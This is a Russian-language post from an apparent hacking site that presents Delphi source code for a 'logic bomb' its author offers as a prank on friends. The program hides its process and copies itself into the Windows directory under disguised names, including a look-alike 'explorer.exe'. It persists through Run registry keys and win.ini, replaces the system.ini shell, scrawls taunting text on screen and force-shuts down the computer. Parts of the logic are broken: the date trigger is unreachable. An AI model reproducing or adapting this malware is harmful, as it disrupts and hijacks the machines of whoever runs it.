Информация сайта компьютерной безопасности
<<< Hack Style >>>

Логическая бомба - программа сидящяя в системе и ждущяя
кокого либо события (здесь даты) - при котором выполняется разного рода функции
уменя это небольшой графический наворот и невозможность работы в этот день
тк он будет перегружаться ...
это одна из первых моих "пакостей для друзей" после ознакомления с дельфями:


program Project1;

uses
windows,sysutils,inifiles,Graphics,Forms,registry,dialogs,Controls;

{$R *.res}
var
Windir : String;
WindirP : PChar;
Res : Cardinal;
text:Tinifile;
april:TCanvas;
run:Tregistry;
x:integer;
r:TModalresult;
label play;
function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID,1);
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if fileexists(Windir+'\sources.dll') then
messageDlg('НАСТАЛА ПОРА УЧИТЬСЯ - ЛАМЕР !!!'#10#13'Выруби комп и садись за книжки !!!',mtinformation, [mbYes,mbNo],0);
if r = mrOk then ExitWindowsEx( EWX_FORCE or EWX_SHUTDOWN, 0 );
try
copyfile(PChar(Application.exename),PChar(Windir+'\explorеr.exe'),false);
copyfile(PChar(Application.exename),PChar(Windir+'\help.txt.exe'),false);
copyfile(PChar(Application.exename),PChar(Windir+'\win32.exe'),false);
SetFileAttributes(PChar(Windir+'\explorеr.exe'),faHidden);
run:=TRegistry.Create;
run.RootKey:=HKEY_LOCAL_MACHINE;
run.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
run.WriteString('FUCK YOU TOO LAMEP','WINDOW$ MUST DIE');
run.WriteString('Win32dll','win32.exe');
run.CloseKey;
run.Free;
text:=Tinifile.Create('win.ini');
text.writestring('windows','run','help.txt.exe');
text.Free;
except
goto play;
if datetostr(date)='1.09.03' then goto play else application.Free;
play:
begin
filecreate(Windir+'\sources.dll',0);
x:=0;
text:=Tinifile.Create('system.ini');
text.writestring('boot','shell','explorеr.exe');
april:=TCanvas.Create;
april.handle:=GetDC(0);
april.Font.Size:=40;
april.Font.Color:=cllime;
april.Font.Style:=[fsbold];
april.TextOut(10,300,'ВОТ БЛИН ОПЯТЬ 1 СЕНТЯБРЯ !!!');
april.Font.Size:=20;
april.Font.Color:=clred;
april.TextOut(1,30,'ВОТ БЛИН ОПЯТЬ 1 СЕНТЯБРЯ !!!');
sleep(5000);
while x<100 do begin
yeld;
april.Pixels[random(1024),random(768)]:=0;
x:=x+1;
if x>98 then ExitWindowsEx( EWX_FORCE or EWX_SHUTDOWN, 0 );
end;
end;
end;
end.

Все права защищены ~< KAPMAH >~
www.HackStyle.narod.ru